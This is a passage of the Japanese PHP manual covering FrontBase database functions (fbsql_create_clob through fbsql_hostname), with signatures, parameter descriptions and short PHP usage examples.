$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
$filename = "blobfile.bin";
$fp = fopen($filename, "rb");
$blobdata = fread($fp, filesize($filename));
fclose($fp);

$blobHandle = fbsql_create_blob($blobdata, $link);

$sql = "INSERT INTO BLOB_TABLE (BLOB_COLUMN) VALUES ($blobHandle);";
$rs = fbsql_query($sql, $link);
?>

参考

  • fbsql_create_clob() - CLOB を作成する
  • fbsql_read_blob() - データベースから BLOB を読み込む
  • fbsql_read_clob() - データベースから CLOB を読み込む
  • fbsql_set_lob_mode() - FrontBase 結果セットの LOB 取得モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


CLOB を作成する

  • ≪ fbsql_create_blob
  • fbsql_create_db ≫
  • PHP Manual
  • FrontBase 関数
  • CLOB を作成する

fbsql_create_clob

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_create_clob — CLOB を作成する

説明

fbsql_create_clob ( string $clob_data , resource $link_identifier = ? ) : string

指定したデータから CLOB を作成します。

パラメータ

clob_data

CLOB データ。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

新しく作成した CLOB のリソースハンドルを返します。 これを insert や update コマンドで使用すると、 データベースに CLOB を保存することができます。

例

例1 fbsql_create_clob() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
$filename = "clob_file.txt";
$fp = fopen($filename, "rb");
$clobdata = fread($fp, filesize($filename));
fclose($fp);

$clobHandle = fbsql_create_clob($clobdata, $link);

$sql = "INSERT INTO CLOB_TABLE (CLOB_COLUMN) VALUES ($clobHandle);";
$rs = fbsql_query($sql, $link);
?>

参考

  • fbsql_create_blob() - BLOB を作成する
  • fbsql_read_blob() - データベースから BLOB を読み込む
  • fbsql_read_clob() - データベースから CLOB を読み込む
  • fbsql_set_lob_mode() - FrontBase 結果セットの LOB 取得モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


FrontBase データベースを作成する

  • ≪ fbsql_create_clob
  • fbsql_data_seek ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase データベースを作成する

fbsql_create_db

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_create_db — FrontBase データベースを作成する

説明

fbsql_create_db ( string $database_name , resource $link_identifier = ? , string $database_options = ? ) : bool

指定したサーバー上で新しいデータベースの作成を試みます。

パラメータ

database_name

データベース名を表す文字列。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

database_options

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 fbsql_create_db() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
if (fbsql_create_db("my_db")) {
    echo "データベースの作成に成功しました\n";
} else {
    printf("データベース作成エラー: %s\n", fbsql_error());
}
?>

参考

  • fbsql_drop_db() - FrontBase データベースを破棄(削除)する

User Contributed Notes

There are no user contributed notes for this page.


内部結果ポインタを移動する

  • ≪ fbsql_create_db
  • fbsql_database_password ≫
  • PHP Manual
  • FrontBase 関数
  • 内部結果ポインタを移動する

fbsql_data_seek

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_data_seek — 内部結果ポインタを移動する

説明

fbsql_data_seek ( resource $result , int $row_number ) : bool

指定した結果 ID が指す FrontBase 結果の内部行ポインタを指定した行番号に移動します。

これ以降に fbsql_fetch_row() をコールすると、 その行が返されます。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

row_number

行番号。0 からはじまります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 fbsql_data_seek() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");

fbsql_select_db("samp_db")
    or die("データベースを選択できません");

$query = "SELECT last_name, first_name FROM friends;";
$result = fbsql_query($query)
    or die("クエリに失敗しました");

// 行を逆順に取得します

for ($i = fbsql_num_rows($result) - 1; $i >=0; $i--) {
    if (!fbsql_data_seek($result, $i)) {
        printf("行 %d\ に移動できませんn", $i);
        continue;
    }

    if (!($row = fbsql_fetch_object($result)))
        continue;

    echo $row->last_name . $row->first_name . "<br />\n";
}

fbsql_free_result($result);
?>

User Contributed Notes

There are no user contributed notes for this page.


FrontBase データベースのパスワードを設定または取得する

  • ≪ fbsql_data_seek
  • fbsql_database ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase データベースのパスワードを設定または取得する

fbsql_database_password

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_database_password — FrontBase データベースのパスワードを設定または取得する

説明

fbsql_database_password ( resource $link_identifier , string $database_password = ? ) : string

現在の接続で 使用されているデータベースのパスワードを設定または取得します。 データベースがパスワードで保護されている場合は、 fbsql_select_db() の前にこの関数をコールする必要があります。

リンクがオープンされていない場合、この関数は fbsql_connect() がコールされた場合と同様にリンクを確立し、使用します。

この関数はデータベース内のデータベースパスワードを変更しませんし、 またデータベースのデータベースパスワードを取得することもしません。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

database_password

データベースのパスワードを表す文字列。 指定したリンク ID が指すサーバーのデータベースパスワードを設定します。

返り値

リンク ID により表されるデータベースのデータベースパスワードを返します。

例

例1 fbsql_create_clob() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
fbsql_database_password($link, "secret db password");
fbsql_select_db($database, $link);
?>

参考

  • fbsql_connect() - FrontBase サーバーへの接続をオープンする
  • fbsql_pconnect() - FrontBase サーバーへの持続的接続をオープンする
  • fbsql_select_db() - FrontBase データベースを選択する

User Contributed Notes

There are no user contributed notes for this page.


接続で使用するデータベース名を取得あるいは設定する

  • ≪ fbsql_database_password
  • fbsql_db_query ≫
  • PHP Manual
  • FrontBase 関数
  • 接続で使用するデータベース名を取得あるいは設定する

fbsql_database

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_database — 接続で使用するデータベース名を取得あるいは設定する

説明

fbsql_database ( resource $link_identifier , string $database = ? ) : string

接続で使用するデータベース名を取得あるいは設定します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

database

データベース名。指定すると、接続で使用するデフォルトのデータベースが database に変わります。

返り値

この接続で使用するデータベースの名前を返します。

User Contributed Notes

There are no user contributed notes for this page.


FrontBase クエリを送信する

  • ≪ fbsql_database
  • fbsql_db_status ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase クエリを送信する

fbsql_db_query

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_db_query — FrontBase クエリを送信する

説明

fbsql_db_query ( string $database , string $query , resource $link_identifier = ? ) : resource

データベースを選択し、そこでクエリを実行します。

パラメータ

database

選択したデータベース。

query

実行する SQL クエリ。

注意:

クエリ文字列の最後には、セミコロンをつけなければなりません。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

クエリ結果への正の FrontBase 結果 ID、またはエラー時には false を返します。

参考

  • fbsql_query() - FrontBase クエリを送信する
  • fbsql_connect() - FrontBase サーバーへの接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


指定したデータベースの状態を取得する

  • ≪ fbsql_db_query
  • fbsql_drop_db ≫
  • PHP Manual
  • FrontBase 関数
  • 指定したデータベースの状態を取得する

fbsql_db_status

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0)

fbsql_db_status — 指定したデータベースの状態を取得する

説明

fbsql_db_status ( string $database_name , resource $link_identifier = ? ) : int

指定したデータベースの現在の状態を取得します。

パラメータ

database_name

データベース名。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

現在の状態を表す整数値を返します。これは、以下の定数のいずれかです。

  • false - host の exec ハンドラが無効です。このエラーは、 link_identifier がポート番号を用いてデータベースへ直接接続する場合に発生します。 FBExec はサーバーで利用可能ですが、接続が行われていません。
  • FBSQL_UNKNOWN - 状態は不明です。
  • FBSQL_STOPPED - FBSQL_STOPPED - データベースは実行されていません。 データベースを開始するには、fbsql_start_db() を使用してください。
  • FBSQL_STARTING - データベースは起動中です。
  • FBSQL_RUNNING - データベースは実行中で、SQL 処理を実行可能です。
  • FBSQL_STOPPING - データベースは停止中です。
  • FBSQL_NOEXEC - FBExec がサーバーで実行されておらず、 データベースの状態を取得することはできません。

参考

  • fbsql_start_db() - ローカルまたはリモートサーバーのデータベースを開始する
  • fbsql_stop_db() - ローカルまたはリモートサーバーのデータベースを停止する

User Contributed Notes

There are no user contributed notes for this page.


FrontBase データベースを破棄(削除)する

  • ≪ fbsql_db_status
  • fbsql_errno ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase データベースを破棄(削除)する

fbsql_drop_db

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_drop_db — FrontBase データベースを破棄(削除)する

説明

fbsql_drop_db ( string $database_name , resource $link_identifier = ? ) : bool

fbsql_drop_db() は、指定したリンク ID が指す サーバーからデータベース全体を破棄(削除)します。

パラメータ

database_name

データベース名を表す文字列。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_create_db() - FrontBase データベースを作成する

User Contributed Notes

There are no user contributed notes for this page.


前の FrontBase 操作によるエラーメッセージの数値を返す

  • ≪ fbsql_drop_db
  • fbsql_error ≫
  • PHP Manual
  • FrontBase 関数
  • 前の FrontBase 操作によるエラーメッセージの数値を返す

fbsql_errno

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_errno — 前の FrontBase 操作によるエラーメッセージの数値を返す

説明

fbsql_errno ( resource $link_identifier = ? ) : int

直近の FrontBase 操作からのエラーメッセージを表す数値を返します。

fbsql データベースのバックエンドから返されるエラーは、警告を発生しません。 その代わりに、fbsql_errno() を使用してエラーコードを 取得します。この関数は、直近に実行した fbsql 関数 (fbsql_error() および fbsql_errno() は除く) のエラーコードのみを返すことに注意しましょう。 もしこれを使用するつもりなら、他の fbsql 関数をコールする前に値を調べる必要があります。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

直近の fbsql 関数のエラー番号、あるいはエラーが発生しなかった場合に 0 (ゼロ) を返します。

例

例1 fbsql_errno() の例

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

参考

  • fbsql_error() - 前の FrontBase 操作によるエラーメッセージの文字列を返す
  • fbsql_warnings() - FrontBase 警告を有効または無効にする

User Contributed Notes

There are no user contributed notes for this page.


前の FrontBase 操作によるエラーメッセージの文字列を返す

  • ≪ fbsql_errno
  • fbsql_fetch_array ≫
  • PHP Manual
  • FrontBase 関数
  • 前の FrontBase 操作によるエラーメッセージの文字列を返す

fbsql_error

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_error — 前の FrontBase 操作によるエラーメッセージの文字列を返す

説明

fbsql_error ( resource $link_identifier = ? ) : string

直近の FrontBase 操作のエラー文字列を返します。

fbsql データベースのバックエンドから返されるエラーは、警告を発生しません。 その代わりに、fbsql_error() を使用してエラー文字列を 取得します。この関数は、直近に実行した fbsql 関数 (fbsql_error() および fbsql_errno() は除く)のエラーコードのみを返すことに注意しましょう。もしこれを使用 するつもりなら、他の fbsql 関数をコールする前に値を調べる必要があります。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

直近の fbsql 関数のエラー文字列を返します。エラーが発生していない場合は '' (空の文字列) を返します。

例

例1 fbsql_error() の例

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

参考

  • fbsql_errno() - 前の FrontBase 操作によるエラーメッセージの数値を返す
  • fbsql_warnings() - FrontBase 警告を有効または無効にする

User Contributed Notes

There are no user contributed notes for this page.


連想配列、数値配列、またはその両方として結果レコードを取得する

  • ≪ fbsql_error
  • fbsql_fetch_assoc ≫
  • PHP Manual
  • FrontBase 関数
  • 連想配列、数値配列、またはその両方として結果レコードを取得する

fbsql_fetch_array

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_array — 連想配列、数値配列、またはその両方として結果レコードを取得する

説明

fbsql_fetch_array ( resource $result , int $result_type = ? ) : array

fbsql_fetch_array() は
fbsql_fetch_row() と
fbsql_fetch_assoc() を組み合わせたものです。

注意してほしいのは、 fbsql_fetch_array() は fbsql_fetch_row() と比べてそれほど遅くはないのに その追加機能がとても優れているということです。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

result_type

FBSQL_ASSOC、FBSQL_NUM あるいは FBSQL_BOTH のいずれかの定数値。

FBSQL_BOTH を使用すると、 数値添字の結果配列にデータを格納するだけでなく、フィールド名を キーとする連想配列にもデータを格納します。

返り値

取得した行に対応する配列を返します。行がもうない場合には false を返します。

2 つ以上のカラムが同じ名前を持っている場合、最後にあらわれたカラムが 優先されます。他のカラムにアクセスするには、カラムの数値インデックスを 使用するか、カラムに別名をつける必要があります。

select t1.f1 as foo t2.f1 as bar from t1, t2

例

例1 fbsql_fetch_array() の例

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select user_id, fullname from table");
while ($row = fbsql_fetch_array($result)) {
    echo "user_id: " . $row["user_id"] . "<br />\n";
    echo "user_id: " . $row[0] . "<br />\n";
    echo "fullname: " . $row["fullname"] . "<br />\n";
    echo "fullname: " . $row[1] . "<br />\n";
}
fbsql_free_result($result);
?>

参考

  • fbsql_fetch_row() - 数値配列として結果レコードを得る
  • fbsql_fetch_assoc() - 連想配列として結果レコードを取得する
  • fbsql_fetch_object() - オブジェクトとして結果レコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


連想配列として結果レコードを取得する

  • ≪ fbsql_fetch_array
  • fbsql_fetch_field ≫
  • PHP Manual
  • FrontBase 関数
  • 連想配列として結果レコードを取得する

fbsql_fetch_assoc

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_assoc — 連想配列として結果レコードを取得する

説明

fbsql_fetch_assoc ( resource $result ) : array

fbsql_fetch_assoc() は、 fbsql_fetch_array() のオプションの第 2 引数に FBSQL_ASSOC を指定してコールするのと等価です。この関数は 連想配列のみを返します。

fbsql_fetch_array() も、当初はこのように動作していました。もし連想配列だけでなく 数値添字の配列も必要な場合は fbsql_fetch_array() を使用してください。

注意してほしいのは、 fbsql_fetch_assoc() は fbsql_fetch_row() と比べてそれほど遅くはないのに その追加機能がとても優れているということです。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

取得した行に対応する連想配列を返します。行がもうない場合には false を返します。

2 つ以上のカラムが同じ名前を持っている場合、最後にあらわれたカラムが 優先されます。他のカラムにアクセスするには、 fbsql_fetch_array() を使用して数値添字の配列を 取得する必要があります。

例

例1 fbsql_fetch_assoc() の例

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_assoc($result)) {
    echo $row["user_id"];
    echo $row["fullname"];
}
fbsql_free_result($result);
?>

参考

  • fbsql_fetch_row() - 数値配列として結果レコードを得る
  • fbsql_fetch_array() - 連想配列、数値配列、またはその両方として結果レコードを取得する
  • fbsql_fetch_object() - オブジェクトとして結果レコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


結果からカラム情報を得て、オブジェクトとして返す

  • ≪ fbsql_fetch_assoc
  • fbsql_fetch_lengths ≫
  • PHP Manual
  • FrontBase 関数
  • 結果からカラム情報を得て、オブジェクトとして返す

fbsql_fetch_field

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_field — 結果からカラム情報を得て、オブジェクトとして返す

説明

fbsql_fetch_field ( resource $result , int $field_offset = ? ) : object

クエリ結果のフィールドについての情報を取得するために使用されます。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。 省略した場合は、まだ fbsql_fetch_field() で取得されていない フィールドのうちで最小のものが取得されます。

返り値

フィールド情報を含むオブジェクト、あるいはエラー時に false を返します。

オブジェクトのプロパティは以下のとおりです。

  • name - カラム名。
  • table - カラムが属するテーブルの名前。
  • max_length - カラムの最大長。
  • not_null - カラムが null にならない場合に 1。
  • type - カラムの型。

例

例1 fbsql_fetch_field() の例

<?php
fbsql_connect($host, $user, $password)
    or die("接続できません");
$result = fbsql_db_query("database", "select * from table")
    or die("クエリに失敗");
# get column metadata
$i = 0;
while ($i < fbsql_num_fields($result)) {
    echo "カラム $i の情報:<br />\n";
    $meta = fbsql_fetch_field($result);
    if (!$meta) {
        echo "使用可能な情報がありません<br />\n";
    }
    echo "<pre>
max_length:   $meta->max_length
name:         $meta->name
not_null:     $meta->not_null
table:        $meta->table
type:         $meta->type
</pre>";
    $i++;
}
fbsql_free_result($result);
?>

参考

  • fbsql_field_seek() - 指定したフィールドオフセットに結果ポインタを設定する

User Contributed Notes

There are no user contributed notes for this page.


結果の各出力の長さを得る

  • ≪ fbsql_fetch_field
  • fbsql_fetch_object ≫
  • PHP Manual
  • FrontBase 関数
  • 結果の各出力の長さを得る

fbsql_fetch_lengths

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_lengths — 結果の各出力の長さを得る

説明

fbsql_fetch_lengths ( resource $result ) : array

fbsql_fetch_row()、
fbsql_fetch_array() および
fbsql_fetch_object() によって返された直近の行について
各カラムの長さを格納した配列を返します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

オフセット 0 から始まる配列を返します。各要素は、 fbsql_fetch_row() で取得した行の各フィールドの長さを表します。 エラー時には false を返します。

参考

  • fbsql_fetch_row() - 数値配列として結果レコードを得る

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトとして結果レコードを取得する

  • ≪ fbsql_fetch_lengths
  • fbsql_fetch_row ≫
  • PHP Manual
  • FrontBase 関数
  • オブジェクトとして結果レコードを取得する

fbsql_fetch_object

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_object — オブジェクトとして結果レコードを取得する

説明

fbsql_fetch_object ( resource $result ) : object

fbsql_fetch_object() は fbsql_fetch_array() と似ていますが 1 点だけ違いが あります。それは、返されるのが配列ではなくオブジェクトであるという点です。 つまり、データへのアクセスはフィールド名によってのみ可能で、 そのオフセットではアクセスできない(数値はプロパティ名として使用できません) ということです。

速度面では、この関数は fbsql_fetch_array() とまったく同等で、fbsql_fetch_row() と比べても ほぼ同じです (その差はごくわずかです)。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

取得した行に対応するプロパティをもつオブジェクトを返します。 行がもうない場合には false を返します。

例

例1 fbsql_fetch_object() の例

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
fbsql_free_result($result);
?>

参考

  • fbsql_fetch_array() - 連想配列、数値配列、またはその両方として結果レコードを取得する
  • fbsql_fetch_row() - 数値配列として結果レコードを得る
  • fbsql_fetch_assoc() - 連想配列として結果レコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


数値配列として結果レコードを得る

  • ≪ fbsql_fetch_object
  • fbsql_field_flags ≫
  • PHP Manual
  • FrontBase 関数
  • 数値配列として結果レコードを得る

fbsql_fetch_row

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_fetch_row — 数値配列として結果レコードを得る

説明

fbsql_fetch_row ( resource $result ) : array

fbsql_fetch_row() は、指定した結果 ID に 関連付けられた結果から、1 行分のデータを取得します。

fbsql_fetch_row() を続けてコールすると、 結果セットの次の行を返します。行がもうない場合には false を返します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

取得した行は配列として返されます。各カラムは、配列の 0 からはじまる オフセットに格納されます。行がもうない場合には false を返します。

参考

  • fbsql_fetch_array() - 連想配列、数値配列、またはその両方として結果レコードを取得する
  • fbsql_fetch_assoc() - 連想配列として結果レコードを取得する
  • fbsql_fetch_object() - オブジェクトとして結果レコードを取得する
  • fbsql_data_seek() - 内部結果ポインタを移動する
  • fbsql_fetch_lengths() - 結果の各出力の長さを得る
  • fbsql_result() - 結果データを得る

User Contributed Notes

There are no user contributed notes for this page.


クエリ結果において指定したフィールドに関するフラグを得る

  • ≪ fbsql_fetch_row
  • fbsql_field_len ≫
  • PHP Manual
  • FrontBase 関数
  • クエリ結果において指定したフィールドに関するフラグを得る

fbsql_field_flags

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_flags — クエリ結果において指定したフィールドに関するフラグを得る

説明

fbsql_field_flags ( resource $result , int $field_offset = ? ) : string

結果の指定したフィールドに関連付けられたフラグを取得します。

パラメータ

result

fbsql_list_fields() が返す結果ポインタ。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

指定したフィールドの フィールドフラグを返します。フラグは、単語ごとに空白 1 文字で 区切られた形式で報告されます。そのため、explode() を使用して返り値を分割することが可能です。

User Contributed Notes

There are no user contributed notes for this page.


指定したフィールドの長さを返す

  • ≪ fbsql_field_flags
  • fbsql_field_name ≫
  • PHP Manual
  • FrontBase 関数
  • 指定したフィールドの長さを返す

fbsql_field_len

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_len — 指定したフィールドの長さを返す

説明

fbsql_field_len ( resource $result , int $field_offset = ? ) : int

指定したフィールドの長さを返します。

パラメータ

result

fbsql_list_fields() が返す結果ポインタ。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

指定したフィールドの長さを返します。

User Contributed Notes

There are no user contributed notes for this page.


結果の指定したフィールドの名前を得る

  • ≪ fbsql_field_len
  • fbsql_field_seek ≫
  • PHP Manual
  • FrontBase 関数
  • 結果の指定したフィールドの名前を得る

fbsql_field_name

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_name — 結果の指定したフィールドの名前を得る

説明

fbsql_field_name ( resource $result , int $field_index = ? ) : string

指定したフィールドインデックスの名前を返します。

パラメータ

result

fbsql_list_fields() が返す結果ポインタ。

field_index

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

名前を表す文字列、あるいはフィールドが存在しない場合に false を返します。

例

例1 fbsql_field_name() の例

<?php
// users テーブルには以下の 3 つのフィールドがあります
//   user_id
//   username
//   password.

$res = fbsql_db_query("users", "select * from users", $link);

echo fbsql_field_name($res, 0) . "\n";
echo fbsql_field_name($res, 2);
?>

上の例の出力は以下となります。

user_id
password

参考

  • fbsql_field_type() - 結果の中で指定したフィールドの型を得る

User Contributed Notes

There are no user contributed notes for this page.


指定したフィールドオフセットに結果ポインタを設定する

  • ≪ fbsql_field_name
  • fbsql_field_table ≫
  • PHP Manual
  • FrontBase 関数
  • 指定したフィールドオフセットに結果ポインタを設定する

fbsql_field_seek

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_seek — 指定したフィールドオフセットに結果ポインタを設定する

説明

fbsql_field_seek ( resource $result , int $field_offset = ? ) : bool

指定したフィールドオフセットに移動します。 fbsql_fetch_field() がフィールドオフセットを 指定せずにコールされた場合、fbsql_field_seek() で指定したフィールドオフセットが返されます。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_fetch_field() - 結果からカラム情報を得て、オブジェクトとして返す

User Contributed Notes

There are no user contributed notes for this page.


指定したフィールドがあるテーブルの名前を得る

  • ≪ fbsql_field_seek
  • fbsql_field_type ≫
  • PHP Manual
  • FrontBase 関数
  • 指定したフィールドがあるテーブルの名前を得る

fbsql_field_table

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_table — 指定したフィールドがあるテーブルの名前を得る

説明

fbsql_field_table ( resource $result , int $field_offset = ? ) : string

指定したフィールドがあるテーブルの名前を返します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

テーブル名を文字列で返します。

User Contributed Notes

There are no user contributed notes for this page.


結果の中で指定したフィールドの型を得る

  • ≪ fbsql_field_table
  • fbsql_free_result ≫
  • PHP Manual
  • FrontBase 関数
  • 結果の中で指定したフィールドの型を得る

fbsql_field_type

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_field_type — 結果の中で指定したフィールドの型を得る

説明

fbsql_field_type ( resource $result , int $field_offset = ? ) : string

fbsql_field_type() は fbsql_field_name() 関数と同じですが、 返される内容がフィールドの型となります。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

field_offset

フィールドの数値オフセット。フィールドのインデックスは 0 からはじまります。

返り値

フィールドの型を文字列で返します。

これは int、real、 string、blob あるいは » FrontBase のドキュメント で詳細が説明されている型のいずれかです。

例

例1 fbsql_field_type() の例

<?php

fbsql_connect("localhost", "_SYSTEM", "");
fbsql_select_db("wisconsin");
$result = fbsql_query("SELECT * FROM onek;");
$fields = fbsql_num_fields($result);
$rows   = fbsql_num_rows($result);
$i = 0;
$table = fbsql_field_table($result, $i);
echo "テーブル '" . $table . "' には、フィールドが " . $fields . " そしてレコードが " . $rows . " 件あります <br />";
echo "テーブルのフィールドは以下のとおりです <br />";
while ($i < $fields) {
    $type  = fbsql_field_type($result, $i);
    $name  = fbsql_field_name($result, $i);
    $len   = fbsql_field_len($result, $i);
    $flags = fbsql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "<br />";
    $i++;
}
fbsql_close();

?>

参考

  • fbsql_field_name() - 結果の指定したフィールドの名前を得る

User Contributed Notes

There are no user contributed notes for this page.


結果メモリを開放する

  • ≪ fbsql_field_type
  • fbsql_get_autostart_info ≫
  • PHP Manual
  • FrontBase 関数
  • 結果メモリを開放する

fbsql_free_result

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_free_result — 結果メモリを開放する

説明

fbsql_free_result ( resource $result ) : bool

result で指定した ID に関連付けられた全メモリを開放します。

fbsql_free_result() は、大きな結果セットを返す クエリでメモリの使用量が心配な場合にのみコールします。 結果に関連付けられたメモリは、スクリプトの実行が終了した際に自動的に開放されます。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


説明

  • ≪ fbsql_free_result
  • fbsql_hostname ≫
  • PHP Manual
  • FrontBase 関数
  • 説明

fbsql_get_autostart_info

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0)

fbsql_get_autostart_info —

説明

fbsql_get_autostart_info ( resource $link_identifier = ? ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

User Contributed Notes

There are no user contributed notes for this page.


接続で使用されているホスト名を取得あるいは設定する

  • ≪ fbsql_get_autostart_info
  • fbsql_insert_id ≫
  • PHP Manual
  • FrontBase 関数
  • 接続で使用されているホスト名を取得あるいは設定する

fbsql_hostname

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_hostname — 接続で使用されているホスト名を取得あるいは設定する

説明

fbsql_hostname ( resource $link_identifier , string $host_name = ? ) : string

接続で使用されているホスト名を取得あるいは設定します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

